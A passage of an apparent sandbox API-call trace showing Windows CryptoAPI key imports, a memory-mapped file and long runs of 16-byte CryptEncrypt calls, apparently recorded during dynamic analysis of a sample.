GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.852] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] GetTickCount () returned 0x1156609 [0088.853] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0088.854] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0088.854] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0088.854] CryptDestroyKey (hKey=0x16395e8) returned 1 [0088.854] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0088.854] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4197e, lpName=0x0) returned 0x288 [0088.854] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4197e) returned 0x3c00000 [0089.093] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668ce0) returned 1 [0089.094] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639528) returned 1 [0089.094] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0089.094] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0089.094] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.095] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.096] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.097] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.098] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0089.099] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 